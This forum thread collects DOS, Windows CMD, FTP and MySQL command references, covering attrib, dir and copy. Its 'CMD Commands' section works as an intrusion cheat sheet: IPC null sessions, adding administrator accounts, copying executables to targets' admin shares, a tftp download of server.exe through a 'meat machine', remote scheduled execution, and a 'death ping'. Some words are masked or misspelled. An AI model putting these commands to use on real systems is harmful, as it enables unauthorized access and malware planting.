China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-06-24 14:03
中国DOS联盟论坛 » 网络日志(Blog) » 2DOS Learning: Language Command Camp (20160203) View 39,814 Replies 120
Original Poster Posted 2016-02-03 00:22 ·  中国 海南 移动
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
Collection of multiple languages, mainly focusing on the scope of DOS and LINUX, including extensions of Windows.
---------------------------------------------------------------------------------
1 DOS command: attrib command, Floor 2
2 Baidu dos (DOS command explanation) Floor 3
3 Forum command help Floor 4







First page-------------------------------------------------------------First page

[ Last edited by zzz19760225 on 2016-2-3 at 12:17 ]
Floor 2 Posted 2016-02-03 00:23 ·  中国 海南 移动
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
attrib command:
<txd07 | Level 7>
attrib displays attributes of all files;
Parameters: +r or -r set whether the file attribute is read-only
+h or -h set whether the file attribute is hidden
+s or -s set whether the file attribute is system file
+a or -a set whether the file attribute is archive file
/s set file attributes including files in subdirectories
, set all attribute files to archive files
<Excuse me, don't need to return | Level 7>
attrib
The attrib command is used to modify file attributes. Common file attributes include: read-only, archive, hidden, and system.
Read-only attribute means the file can only be read and not written to, which is the write protection of the file.
Archive attribute is used to mark file changes, that is, the file has been changed since the last backup. Some backup software will only back up files with archive attributes during backup.
Hidden attribute, as the name implies, is a hidden file. Under normal circumstances, files with hidden attributes are not displayed in Windows Explorer.
System attribute marks the file as a system file, which is a file that the system needs to call.

The format and common parameters of the attrib command are

ATTRIB filename] ]

+ set attribute.
- clear attribute.
R read-only file attribute.
A archive file attribute.
S system file attribute.
H hidden file attribute.

Specify the file attributes to be processed.
/S process matching files in the current folder and its subfolders.
/D also process folders.

The use of attrib is not very extensive, but sometimes it can be used to do some convenient file processing. For example, if a virus infects a USB flash drive, multiple hidden files will be created in the USB flash drive drive. There will be a file named autorun.inf. This file will add an auto-run menu to the USB flash drive. If the default open operation is changed to associate with the virus program, then when you double-click the USB flash drive, the virus on the USB flash drive will be infected. Normally, you can't see these files and can't delete them. You can use the following steps to clear them.
The following assumes that the drive letter of my USB flash drive is L:."/*" to "*/" is a comment. You can quickly open the system command prompt by typing CMD in Run and confirming. The shortcut key for Run is "WIN"+"R".

C:\Documents and Settings\Administrator>L: /*Enter L drive directory*/
L:\>dir/a /*This command is to view all files in the current directory, including files with hidden attributes. It can be used to view whether there are files such as autorun.inf.*/
L:\>attrib autorun.inf -a -s -r -h /*Remove the four attributes of autorun.inf*/
L:\>del autorun.inf /*Delete autorun.inf*/

Then unplug the USB flash drive and connect it again, the auto-run menu of the USB flash drive will be gone. Of course, other virus programs can also be operated in this way. If you replace autorun.inf with *.*, you can operate all files in the current directory at once. For example:

L:\>attrib *.* -a -s -r -h
Floor 3 Posted 2016-02-03 11:47 ·  中国 海南 移动
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
Baidu
DOS (DOS Command Explanation) Edit

The most frequently used thing we encounter when using a computer is DOS. DOS is the abbreviation of Disk Operating System in English, meaning "Disk Operating System". As the name suggests, DOS is mainly a disk-oriented system software. To put it simply, DOS is a collection of commands given by humans to the machine. It is some command sets stored in the machine hardware. With DOS, we can more easily understand how to give commands to the machine. We don't need to deeply understand the hardware structure of the machine, nor do we need to memorize those boring binary machine commands. We can easily complete most daily operations just through some DOS commands close to English. In addition, DOS can also effectively manage various software and hardware resources under its control, and reasonably schedule them. All software and hardware are under the monitoring and management of DOS, and operate in an orderly manner.

Chinese Name: "Disk Operating System"
English Name: Disk Operating System
Abbreviation: DOS
Essence: Disk-oriented system software
Branches: Microsoft Win9x series, FreeDOS, PCDOS, etc.

Table of Contents
1. Commonly Used Commands
2. Less Commonly Used Commands
3. CMD Commands
4. Application Examples

DOS is an operating system popular in the late 20th century. It is a disk-oriented system software. It has a very wide range of uses. The famous Windows 98 is based on it. Currently, DOS is still active, such as FreeDOS.

Commonly Used Commands Edit
1. dir
- No parameters: View the files and folders in the current directory.
- /s: View the files and folders in the current directory and all its subdirectories.
- /a: View all files including hidden files.
- /ah: Only display hidden files.
- /w: Display files and folders in a compact way (5 files per line).
- /p: Display in page mode (automatically pause after displaying one page).
- |more: The symbol in front is the one above "\", called the redirection symbol, which outputs the result of one command as the parameter of another command. more is also a command. The result of dir /w |more is the same as that of dir /w /p.
- Other parameters can be viewed using: dir /?

2. cd
- cd directory name: Enter a specific directory. If there is a directory displayed as: abcdef ghi, enter: cd abcdef.ghi to enter that directory.
- cd\: Return to the root directory.
- cd..: Return to the previous level directory.

3. md rd
- md directory name: Create a specific folder. (In DOS, it is habitually called a directory, and in Windows, it is called a folder.)
- rd directory name: Delete a specific folder.

4. cls
- Clear the screen. Clear all displayed content on the screen, leaving only the path before the CLS command.

5. copy
- copy path\file name path\file name: Copy a file to another place.

6. move
- move path\file name path\file name: Move a file (that is, copy + delete) to another place.

7. del
- del file name: Delete a file.
- del *.*: Delete all files in the current folder.
- del cannot delete folders.

8. deltree
- Delete a folder and all its subfolders and files below it. Be careful not to use it randomly.

9. format
- format x: x represents the drive letter, format a partition. In DOS, it is formatted with the FAT file system. When installing Windows 2000, it will ask if you want to convert to NTFS.

10. type
- type text file name: Display the content of the text file.

11. edit
- Actually, this is a small program used for editing text files.

12. ren
- ren old file name new file name: Rename a file.

mem: View memory status
more: Display in pages
move: Move files, change directory names
rd: Delete directories
ren: Change file names
type: Display file content
sys: Make a DOS system disk
xcopy: Copy directories and files
attrib: Set file attributes
chkdsk: Check the disk
date: Display and modify the date
defrag: Defragment the disk
doskey: Reinvoke DOS commands
emm386: Extended memory management
fdisk: Partition the hard disk
help: Help
label: Set the volume label
lh: Load the program into the upper memory
memmaker: Memory optimization management
msd: System detection
path: Set the search directory
prempt: Set the prompt
restore: Restore backup files
time: Display and modify the time
scandisk: Detect and repair the disk
set: Set environment variables
smartdrv: Set the disk accelerator
undelete: Recover deleted files
ftp: Upload or download remote files
telnet: Remote login

Detailed Introduction of Commonly Used Commands:
3.1. Dir
- Display the list of directory files and subdirectories.
- Wildcards (? and *) can be used.? represents matching one character, * represents matching any characters. *.suffix specifies the files to be viewed with the suffix. The above can also be ".suffix", for example, dir *.exe is equivalent to dir.exe.
- /p: Display one list screen at a time. Press any key on the keyboard to view the next screen.
- /w: Display the list in wide format, with up to 5 file names or directory names per line.
- /s: List each specified file name that appears in the specified directory and all subdirectories. Much faster than the search in the win environment.
- dir *.* -> a.txt: Write the current directory file list to a.txt.
- dir *.* /s -> a.txt: Write the current directory file list to a.txt, including files in subdirectories.

3.2. Attrib
- Display, set, or delete the read-only, archive, system, and hidden attributes assigned to files or directories. If used without parameters, attrib will display the attributes of all files in the current directory.
- +r: Set the read-only attribute.
- -r: Clear the read-only attribute.
- +a: Set the archive file attribute.
- -a: Clear the archive file attribute.
- +s: Set the system attribute.
- -s: Clear the system attribute.
- +h: Set the hidden attribute.
- -h: Clear the hidden attribute.

3.3. Cl*
- Clear all information displayed in the command prompt window and return an empty window, that is, "clear screen".

3.4. **it
- Exit the current command interpreter and return to the system.

3.5. format
- Format
- /q: Perform a quick format. Delete the file table and root directory of the previously formatted volume, but do not scan the damaged areas between sectors. Using the /q command line option should only format a previously formatted intact volume.

3.6. Ipconfig
- Display all current TCP/IP network configuration values, refresh the Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings. Using ipconfig without parameters can display the IP address, subnet mask, and default gateway of all adapters.
- /all: Display the complete TCP/IP configuration information of all adapters.
- ipconfig is equivalent to winipcfg, which is available on ME, 98, and 95. Although Windows XP does not provide a graphical interface like the winipcfg command, you can use "Network Connections" to view and update the IP address. To do this, open Network Connections, right-click a network connection, click "Status", and then click the "Support" tab.
- This command is most suitable for computers configured to obtain an IP address automatically. It allows users to determine which TCP/IP configuration values are configured by DHCP, Automatic Private IP Address (APIPA), and other configurations.

3.7. md
- Create a directory or subdirectory.

3.8. Move
- Move one or more files from one directory to the specified directory.

3.9. Nbtstat
- Display the NetBIOS statistics, NetBIOS name table, and NetBIOS name cache of the local computer and remote computer based on the TCP/IP (NetBT) protocol. Nbtstat can refresh the NetBIOS name cache and the registered Windows Internet Name Service (WINS) name. Using nbtstat without parameters displays help. The nbtstat command line parameters are case-sensitive.
- -a remotename: Display the NetBIOS name table of the remote computer, where RemoteName is the NetBIOS computer name of the remote computer.
- -A IPAddress: Display the NetBIOS name table of the remote computer, whose name is specified by the IP address of the remote computer (separated by periods).

3.10. Netstat
- Display active TCP connections, ports listened by the computer, Ethernet statistics, IP routing table, IPv4 statistics (for IP, ICMP, TCP, and UDP protocols), and IPv6 statistics (for IPv6, ICMPv6, TCP over IPv6, and UDP over IPv6 protocols). When used without parameters, netstat displays active TCP connections.
- -a: Display all active TCP connections and TCP and U** ports listened by the computer.

3.11. *ing
- Verify the IP-level connection with another TCP/IP computer by sending an "Internet Control Message Protocol (ICMP)" echo request message. The reception of echo response messages will be displayed together with the number of round-trip processes. Ping is the main TCP/IP command for detecting network connectivity, reachability, and name resolution problems. If used without parameters, ping displays help. Name and IP address resolution are its simplest applications and also the most used.
- -t: Specify that ping can continuously send echo request messages to the destination until interrupted. To interrupt and display statistics, press CTRL-BREAK. To interrupt and exit ping, press CTRL-C.
- -lSize: Specify the length (in bytes) of the "data" field in the sent echo request message. The default is 32. The maximum value of size is 65,527.

3.12. Rename (Ren)
- Change the name of a file. For example, ren *.abc *.cba.

3.13. Set
- Display, set, or delete environment variables. If there are no parameters, the set command will display the current environment settings.

3.14. Shutdown
- Allow you to shut down or restart the local or remote computer. If no parameters are used, shutdown will log off the current user.
- -m ComputerName: Specify the computer to be shut down.
- -t xx: Set the timer for system shutdown to xx seconds. The default is 20 seconds.
- -l: Log off the current user, which is the default setting. -m ComputerName takes precedence.
- -s: Shut down the local computer.
- -r: Restart after shutting down.
- -a: Abort the shutdown. The system will ignore other parameters except -l and ComputerName. You can only use -a during the timeout period.

3.15. System File Checker (sfc)
- Only available in win, scan and verify all protected system files after restarting the computer.
- /scannow: Immediately scan all protected system files.
- /scanonce: Scan all protected system files once.
- /purgecache: Immediately clear the "Windows File Protection" file cache and scan all protected system files.
- /cachesize=x: Set the size of the "Windows File Protection" file cache in MB.

3.16. type
- Display the content of a text file. Use the type command to view a text file or a bat file without modifying the file.

3.17. Tree
- Graphically display the directory structure of a path or drive.

3.18. Xcopy
- Copy files and directories, including subdirectories.
- /s: Copy non-empty directories and subdirectories. If /s is omitted, xcopy will work in one directory.
- /e: Copy all subdirectories, including empty directories.

3.19. copy
- Copy one or more files from one location to another.

3.20. del
- Delete the specified file.

FTP and bat batch commands, net, and telnet are not described here due to too many subcommands, but these are all commonly used.

Less Commonly Used Commands Edit
append: Set the non-executable file path
debug: Random debugging program
diskcomp: Disk comparison
expand: Restore DOS files
fasthelp: Quickly display help information
fc: File comparison
interink: Start the server
intersvr: Start the client
qbasic: Basic integrated environment
setver: Set the version
share: File sharing
subst: Path substitution
tree: List directory tree
unformat: Restore the formatted disk
vsafe: Anti-virus
ver: Display the DOS version number
vol: Display the disk volume label
ctty: Change the control device

Detailed Explanation of Commonly Used DOS Commands
dir: List file names
deltree: Delete directory tree
cls: Clear screen
cd: Change current directory
copy: Copy file
diskcopy: Copy disk
del: Delete file
format: Format disk
edit: Text edit
mem: View memory status
md: Create subdirectory
move: Move file, change directory name
more: Display in pages
type: Display file content
rd: Delete directory
sys: Make DOS system disk
ren: Change file name
xcopy: Copy directory and file
chkdsk: Check disk
attrib: Set file attribute
fdisk: Partition hard disk
date: Display and modify date
label: Set volume label
defrag: Defragment disk
msd: System detection
path: Set search directory
share: File sharing
memmaker: Memory optimization management
help: Help
restore: Restore backup file
set: Set environment variable
time: Display and modify time
tree: List directory tree
debug: Random debugging program
doskey: Reinvoke DOS command
prempt: Set prompt
undelete: Recover deleted file
scandisk: Detect and repair disk
diskcomp: Disk comparison
append: Set non-executable file path
expand: Restore DOS file
fasthelp: Quickly display help information
fc: File comparison
interink: Start server
setver: Set version
intersvr: Start client
subst: Path substitution
qbasic: Basic integrated environment
vsafe: Anti-virus
unformat: Restore formatted disk
ver: Display DOS version number
smartdrv: Set disk accelerator
vol: Display disk volume label
lh: Load program into upper memory
ctty: Change control device
emm386: Extended memory management

CMD Commands Edit
net use \\ip\ipc$ " " /user:" " : Establish an IPC empty connection
net use \\ip\ipc$ "password" /user:"username" : Establish an IPC non-empty connection
net use h: \\ip\c$ "password" /user:"username" : Directly log in and map the other party's C: to local as H:
net use h: \\ip\c$ : Log in and map the other party's C: to local as H:
net use \\ip\ipc$ /del : Delete the IPC connection
net use h: /del : Delete the mapping of the other party to local as H:
net user username password /add : Create a user
net user username/del : Delete a user
net user guest /active:yes : Activate the guest user
net user : View which users there are
net user account name : View the attributes of the account
net localgroup ***istrators username /add : Add "user" to the administrator to make it have administrator privileges. Note: ***istrator is followed by s in plural.
net start : View which services are started
net start service name : Start a service; (e.g.: net start telnet, net start schedule)
net stop service name : Stop a service
net time \\target ip : View the other party's time
net time \\target ip /set : Set the local computer time to be synchronized with the time of the "target IP" host. Adding the parameter /yes can cancel the confirmation information.
net view : View which shares are enabled in the local LAN
net view \\ip : View which shares are enabled in the other party's LAN
net config : Display the system network settings
net logoff : Disconnect the shared connection
net pause service name : Pause a service
net send ip "text information" : Send information to the other party
net ver : The network connection type and information being used in the LAN
net share : View the shares enabled locally
net share ipc$ : Enable the ipc$ share
net share ipc$ /del : Delete the ipc$ share
net share c$ /del : Delete the C: share
net user guest 12345 : Log in with the guest user and change the password to 12345
net password password : Change the system login password
netstat -a : View which ports are enabled. Commonly used netstat -an
netstat -n : View the network connection situation of the port. Commonly used netstat -an
netstat -v : View the work being done
netstat -p protocol name : Example: netstat -p tcq/ip : View the usage of a protocol (view the usage of the tcp/ip protocol)
netstat -s : View the usage of all currently used protocols
nbtstat -A ip : If one of the ports from 136 to 139 of the other party is open, you can view the user name that the other party recently logged in (the user name is before 03). Note: The parameter -A should be uppercase.
tracert -parameter ip (or computer name) : Trace the route (data packet). The parameter: "-w number" is used to set the timeout interval.
ping ip (or domain name) : Send data with a default size of 32 bytes to the other party's host. Parameters: "-l packet size"; "-n send data times"; "-t" means keep pinging.
ping -t -l 65550 ip : Death ping (send a file larger than 64K and keep pinging to become death ping)
ipconfig (winipcfg) : For windows NT and XP (windows 95 98) to view the local IP address. ipconfig can use the parameter "/all" to display all configuration information.
tlist -t : Display processes in a tree list (an additional tool of the system, not installed by default, in the Support/tools folder of the installation directory)
kill -F process name : Forcefully end a process with the -F parameter (an additional tool of the system, not installed by default, in the Support/tools folder of the installation directory)
del -F file name : Delete a read-only file with the -F parameter. /AR, /AH, /AS, /AA respectively mean delete read-only, hidden, system, archive files. /A-R, /A-H, /A-S, /A-A mean delete files except read-only, hidden, system, archive. For example, "DEL/AR *.*" means delete all read-only files in the current directory, "DEL/A-S *.*" means delete all files except system files in the current directory.
del /S /Q directory or use: rmdir /s /Q directory : /S deletes the directory and all subdirectories and files under the directory. At the same time, using the parameter /Q can cancel the system confirmation during the deletion operation and directly delete. (The two commands have the same function)
move drive letter\path\file name to move the file path\moved file name : Move the file. Using the parameter /y will cancel the prompt to confirm that there is the same file in the moving directory and directly overwrite.
fc one.txt two.txt > 3st.txt : Compare two files and output the differences to the 3st.txt file. "> " and "> >" are redirection commands.
at id number : Start a registered scheduled task
at /delete : Stop all scheduled tasks. Using the parameter /yes will directly stop without confirmation.
at id number /delete : Stop a registered scheduled task
at : View all scheduled tasks
at \\ip time program name (or a command) /r : Run a program of the other party at a certain time and restart the computer.
finger username @host : View which users have recently logged in.
telnet ip port : Remotely log in to the server. The default port is 23.
open ip : Connect to IP (belongs to the command after telnet login)
telnet : Type telnet directly on the local machine to enter the local telnet.
copy path\file name1 path\file name2 /y : Copy file 1 to the specified directory as file 2. Using the parameter /y will directly cancel the confirmation that you want to rewrite an existing directory file.
copy c:\srv.exe \\ip\***$ : Copy the local c:\srv.exe to the other party's ***.
cppy 1st.jpg/b+2st.txt/a 3st.jpg : Hide the content of 2st.txt in 1st.jpg to generate a new file 3st.jpg. Note: The file header of 2st.txt should be empty for three rows. Parameters: /b refers to binary file, /a refers to ASCII format file.
copy \\ip\***$\svv.exe c:\ or: copy\\ip\***$\*.* : Copy the srv.exe file (all files) in the other party's ***i$ share to the local C:
xcopy file or directory tree to be copied target address\directory name : Copy files and directory tree. Using the parameter /Y will not prompt to overwrite the same file.
tftp -i my IP (use the meat machine as a jumper, use the meat machine IP here) get server.exe c:\server.exe : After logging in, download the server.exe of "IP" to the target host c:\server.exe. Parameter: -i refers to transmitting in binary mode. Use it when transmitting executable files. If /i is not added, it will be transmitted in ASCII mode (text file mode).
tftp -i target IP put c:\server.exe : After logging in, upload the local c:\server.exe to the host.
ftp ip port : Used to upload files to the server or perform file operations. The default port is 21. bin refers to transmitting in binary mode (for executable files); the default is transmitting in ASCII format (for text files).
route print : Display the IP route. It will mainly display the network address Network addres, subnet mask Netmask, gateway address Gateway addres, interface address Interface.
arp : View and process the ARP cache. ARP is the meaning of name resolution, responsible for resolving an IP into a physical MAC address. arp -a will display all information.
start program name or command /max or /min : Open a new window and run a program or command in maximized (minimized) mode.
mem : View CPU usage.
attrib file name (directory name) : View the attributes of a certain file (directory).
attrib file name -A -R -S -H or +A +R +S +H : Remove (add) the archive, read-only, system, hidden attributes of a certain file; use + to add a certain attribute.
dir : View files. Parameters: /Q displays which user the file and directory belong to the system, /T:C displays the file creation time, /T:A displays the last access time of the file, /T:W displays the last modification time.
date /t, time /t : Using this parameter, that is, "DATE/T", "TIME/T" will only display the current date and time, and you don't need to enter a new date and time.
set specified environment variable name=character to be assigned to the variable : Set the environment variable.
set : Display all current environment variables.
set p (or other characters) : Display all environment variables starting with the character p (or other characters).
pause : Pause the batch processing program and display: Press any key to continue....
if : Perform conditional processing in the batch processing program (more instructions are shown in if command and variables)
goto label : Guide cmd.exe to the line with the label in the batch processing program (the label must be on a separate line and start with a colon, for example: ":start" label)
call path\batch processing file name : Call another batch processing program from the batch processing program (more instructions are shown in call /?)
for : Execute a specific command for each file in a group of files (more instructions are shown in for command and variables)
echo on or off : Turn on or off echo. Just using echo without parameters will display the current echo setting.
echo information : Display information on the screen.
echo information >> pass.txt : Save "information" to the pass.txt file.
findstr "Hello" aa.txt : Find the string hello in the aa.txt file.
find file name : Find a certain file.
title title name : Change the title name of the CMD window.
color color value : Set the foreground and background colors of the cmd console; 0=black, 1=blue, 2=green, 3=light green, 4=red, 5=purple, 6=yellow, 7=white, 8=gray, 9=light blue, A=light green, B=light light green, C=light red, D=light purple, E=light yellow, F=bright white.
prompt name : Change the displayed command prompt of cmd.exe (unify C:\, D:\ to: EntSky\ )
ver : Display the version information in the DOS window.
winver : Pop up a window to display version information (memory size, system version, patch version, computer name)
format drive letter /FS:type : Format the disk. Type: FAT, FAT32, NTFS. Example: Format D: /FS:NTFS.
md directory name : Create a directory.
replace source file file directory to be replaced : Replace the file.
ren original file name new file name : Rename the file.
tree : Display the directory in a tree structure. Using the parameter -f will list the file names in each folder.
type file name : Display the content of the text file.
more file name : Display the output file screen by screen.
doskey locked command=character :
doskey unlocked command= : Provide a locked command (edit command line, reinvoke win2k command, and create macro) for DOS. For example: Lock the dir command: doskey dir=entsky (cannot use doskey dir=dir); Unlock: doskey dir=
taskmgr : Bring up the task manager.
chkdsk /F D: : Check the disk D and display the status report; add the parameter /f and repair the errors on the disk.
tlntadmn telnt service admn, type tlntadmn and select 3, then select 8, you can change the telnet service default port 23 to any other port.
exit : Exit the cmd.exe program or currently. Using the parameter /B will exit the current batch processing script instead of cmd.exe.
path path\executable file name : Set a path for the executable file.
cmd : Start a win2K command interpreter window. Parameters: /eff, /en close, enable command extension; more detailed instructions are shown in cmd /?
regedit /s registry file name : Import the registry; parameter /S refers to importing in silent mode without any prompts.
regedit /e registry file name : Export the registry.
cacls file name parameter : Display or modify the file access control list (ACL) - for NTFS format. Parameters: /D username: set to refuse a user to access; /P usernameerm: replace the access permission of the specified user; /G usernameerm: grant access permission to the specified user; Perm can be: N no, R read, W write, C change (write), F full control; Example: cacls D:\test.txt /D pub: set d:\test.txt to refuse pub user access.
cacls file name : View the list of access user permissions of the file.
REM text content : Add comments in the batch processing file.
netsh : View or change the local network configuration.

IIS Service Commands:
iisreset /reboot : Restart the win2k computer (but there will be a prompt that the system will restart)
iisreset /start or stop : Start (stop) all Internet services.
iisreset /restart : Stop and then restart all Internet services.
iisreset /status : Display the status of all Internet services.
iisreset /enable or disable : Enable (disable) the restart of Internet services on the local system.
iisreset /rebootonerror : When starting, stopping or restarting Internet services, if an error occurs, the computer will restart.
iisreset /noforce : If the Internet services cannot be stopped, the Internet services will not be forcefully terminated.
iisreset /timeout Val : When the timeout (seconds) is reached and the Internet services are still not stopped, if the /rebootonerror parameter is specified, the computer will restart. The default value is 20 seconds for restart, 60 seconds for stop, and 0 seconds for restart.

FTP Commands: (There are detailed explanation contents later)
The command line format of ftp is:
ftp -v -d -i -n -g -v: Display all response information of the remote server.
-d: Use the debugging mode.
-n: Restrict the automatic login of ftp, that is, do not use the.netrc file.
-g: Cancel the global file name.
help or? : View command instructions.
bye or quit : Terminate the host FTP process and exit the FTP management mode.
pwd : List the current remote host directory.
put or send local file name : Transfer a local file to the remote host.
get or recv : Transfer from the remote host to the local host.
mget : Receive a batch of files from the remote host to the local host.
mput local-files : Transfer a batch of files from the local host to the remote host.
dir or ls : List the files in the current remote host directory. If there is a local file, the result will be written to the local file.
ascii : Set to transfer files in ASCII mode (default value).
bin or image : Set to transfer files in binary mode.
bell : Alert prompt after each file transfer.
cdup : Return to the upper level directory.
close : Interrupt the ftp session with the remote server (corresponding to open).
open host : Establish a connection to the specified ftp server, and the connection port can be specified.
delete : Delete the file in the remote host.
mdelete : Delete a batch of files.
mkdir directory-name : Create a directory in the remote host.
rename : Change the file name in the remote host.
rmdir directory-name : Delete the directory in the remote host.
status : Display the current FTP status.
system : Display the system type of the remote host.
user user-name : Log in to the remote host with another user name.
open host : Re-establish a new connection.
prompt : Interactive prompt mode.
macdef : Define macro commands.
lcd : Change the current working directory of the local host. If it is default, it will go to the current user's HOME directory.
chmod : Change the file permission of the remote host.
case : When ON, when using the MGET command to copy the file name to the local machine, all are converted to lowercase letters.
cd remote-dir : Enter the remote host directory.
cdup : Enter the parent directory of the remote host directory.
! : Execute an interactive shell on the local machine, exit to the ftp environment, such as!ls*.zip.

MYSQL Commands:
mysql -h host address -u username -p password : Connect to MYSQL; if MYSQL is just installed, the super user root has no password. (Example: mysql -h110.110.110.110 -Uroot -P123456. Note: u and root can be added without spaces, and the same for others.)
exit : Exit MYSQL.
mysql*** -u username -p old password password new password : Change the password.
grant select on database.* to username@login host identified by \"password\"; : Add a new user. (Note: Different from above, because the following are commands in the MYSQL environment, so there is a semicolon at the end as the command end.)
show databases; : Display the database list. Initially, there are only two databases: mysql and test. The mysql database is very important. It contains the system information of MYSQL. We change the password and add new users, in fact, it is operated using this database.
use mysql;
show tables; : Display the data tables in the database.
describe table name; : Display the structure of the data table.
create database database name; : Create a database.
use database name;
create table table name (field setting list); : Create a table.
drop database database name;
drop table table name; : Delete the database and table.
delete from table name; : Clear the records in the table.
select * from table name; : Display the records in the table.
mysqldump --opt school>school.bbb : Backup the database; (the command is executed in the \\mysql\\bin directory of DOS); Note: Backup the database school to the school.bbb file. school.bbb is a text file. You can open it and you will find new discoveries.

New Commands in the win2003 System (Practical Part):
shutdown /parameter : Shut down or restart the local or remote host.
Parameter description: /S shut down the host, /R restart the host, /T number set the delay time, ranging from 0 to 180 seconds, /A cancel the boot, /M //IP specify the remote host.
Example: shutdown /r /t 0 restart the local host immediately (no delay).
taskill /parameter process name or process pid : Terminate one or more tasks and processes.
Parameter description: /PID the pid of the process to be terminated. The pid of each process can be obtained using the tasklist command. /IM the process name of the process to be terminated. /F forcefully terminate the process. /T terminate the specified process and its started sub-processes.
tasklist : Display the processes, services, and process identifiers (PID) of each process running on the local and remote host.
Parameter description: /M list the dll files loaded by the current process. /SVC display the service corresponding to each process. Without parameters, it will only list the current processes.
Floor 4 Posted 2016-02-03 12:16 ·  中国 海南 移动
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
3 Forum Command Help Floor 4

Forum Command Help
--------------------
Discuz! Command Prompt [Version 4.0 Final]
Copyright © 2002-2007 China DOS Union. All rights reserved.

You are logged in as zzz19760225.
If you want to view help information, enter "help".

A:\> help
For detailed information about a command, type HELP command name (or command name /?).

BREAK Set or clear extended Ctrl+C checking.
CD Display the current directory name or change the current directory.
CHCP Display or set the active code page number.
CLS Clear the screen.
CMD Start or refresh the command processor.
COLOR Set the default console foreground and background colors.
DATE Display the current date.
DEL Delete files.
DIR Display directory contents.
ECHO Display messages, or turn command echoing on or off.
EDIT Start the file editor, an editor that can be used to create and edit text files.
EXIT Return to the Web interface.
FIND Search for a string in files.
FONT List all available fonts or change the current font.
GOTO Jump to a labeled line in a batch program.
HELP Provide help information for commands.
HISTORY Display command line history.
IF Perform conditional processing.
MORE Display file contents, one post at a time.
NET Manage the current user.
PAUSE Pause program execution and display a message.
POPD Restore the previous value of the current directory saved by PUSHD.
PROMPT Change the command prompt.
PUSHD Save the current directory for use by the POPD command, then change the directory.
REM Add comments or explanations.
REN Rename files.
SET Display, set, or delete environment variables.
SHIFT Change the position of replaceable parameters in a batch file.
TIME Display the current time.
TITLE Set the window title of the command prompt window.
TYPE Display file contents.
VER Display the system version.
VOL Display the disk volume label and serial number.

Tip: If you are logged in, you can add these commands to A:\AUTOEXEC.BAT to customize the command prompt.

A:\>
----------------
Floor 5 Posted 2016-02-03 20:16 ·  中国 海南 三亚 电信
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
Three typing practice software under 4linux (2012-11-22 18:49:45)
Floor 5
phoenixbz's blog
http://blog.sina.com.cn/binzeng55319574
Three typing practice software under linux (2012-11-22 18:49:45)
Tags: ktouch klavaro typespeed linux typing it Category: linux
This is taking Fedora 17 operating system as an example:

yum install ktouch
Personally, this software feels better than Kingsoft Typing. If there is an input error, it can't continue. The interface is better than Kingsoft's.

----------------
yum install klavaro
Set keyboard to USA, qwety
This is a game

--------------------
yum install Typespeed
This is a typing game, but it trains in the terminal
1<词>,2,3/段\,4{节},5(章)。
Floor 6 Posted 2016-02-05 21:08 ·  中国 海南 移动
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
1<词>,2,3/段\,4{节},5(章)。
Floor 7 Posted 2016-02-06 05:06 ·  中国 海南 移动
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
### Basic Introduction
Copy is a very basic DOS command. Although it may be rarely used nowadays, as a very important basic command, it is still necessary to master. The above introduction about the copy command is purely the introduction under Windows. Since entering "copy /?" in cmd can get it, what is the real role of the above? For such a professional command, it is better to give more examples to make it easier for beginners to understand.

### Usage Commands
COPY source .

] ]source specifies the file to be copied.

/A means an ASCII text file.

/B means a binary file. /D allows decrypting the target file to be created.

destination specifies the directory and/or file name for the new file.

/V verifies whether the new file is written correctly.

/N When copying files with non-8dot3 names, use short file names as much as possible.

/Y Does not use the prompt to confirm whether to overwrite the existing target file.

/-Y Uses the prompt to confirm whether to overwrite the existing target file.

/Z Copies networked files in restartable mode. The command line switch /Y can be preset in the COPYCMD environment variable. This may be replaced by /-Y on the command line. Unless the COPY command is executed in a batch script, the default value should be to prompt when overwriting. To append files, specify one file for the destination and several files for the source (in wildcard or file1+file2+file3 format).

First, create a file in drive D of my computer, for example, 1.txt, and it is better to write some data in it. There is another interconnected machine with the machine name test, and there is a shared folder tool on it. Of course, the permissions for the user on test and the shared folder should be enabled.

Note:

1. File copy within one machine and one disk: Command copy D:\1.txt D:\2.txt. Note that the following 2.txt cannot be omitted. Omitting it defaults to creating a file with the original same file name, so it cannot be realized.

2. File copy between different disks within one machine: Command copy D:\1.txt E: Then you will see the copied 1.txt in drive E.

3. File copy between different machines: It is equivalent to uploading and downloading.

Upload command copy D:\1.txt\\test\D$ Then you can see 1.txt in drive D of the test machine.

You can also enter: copy D:\1.txt\\test\tool Then 1.txt can also be seen in the shared folder tool.

Download command. First, create file 2.txt in drive D on test, and then create a 3.txt in tool.

Enter copy\\test\D$\2.txt D:\ Then the 2.txt in drive D on test can be downloaded to local drive D.

Enter copy\\test\tool\3.txt D: Then the 3.txt in the tool folder can be downloaded to local drive D.

Note: The role of D:\ and D: here is the same when no subdirectory is followed later.

### Example Illustrations
Example 1: To copy the file Memo.doc to Letter.doc in the current directory.

Execute the following command:

copy memo.doc letter.doc

Example 2: To copy the file Memo.doc from the current directory of the current drive to the existing directory System on drive C.

Execute the following command:

copy Memo.doc c:\system

If the System directory does not exist, the Memo.doc file will be copied to the file named System in the root directory of drive C.

Example 3: To merge Mar89.zip, Apr89.zip, and May89.zip in the current directory of the current drive and put them in the file named Report in the current directory of the current drive.

Execute the following command:

copy mar89.zip + apr89.zip + may89.zip report

Example 4: To merge all four files into Report, and there is already a file named Report.

Execute the following command:

copy report + mar89.rpt + apr89.rpt + may89.rpt

Example 5: In the current directory of the current drive, to merge all files with the.txt extension into the file named Combin.doc.

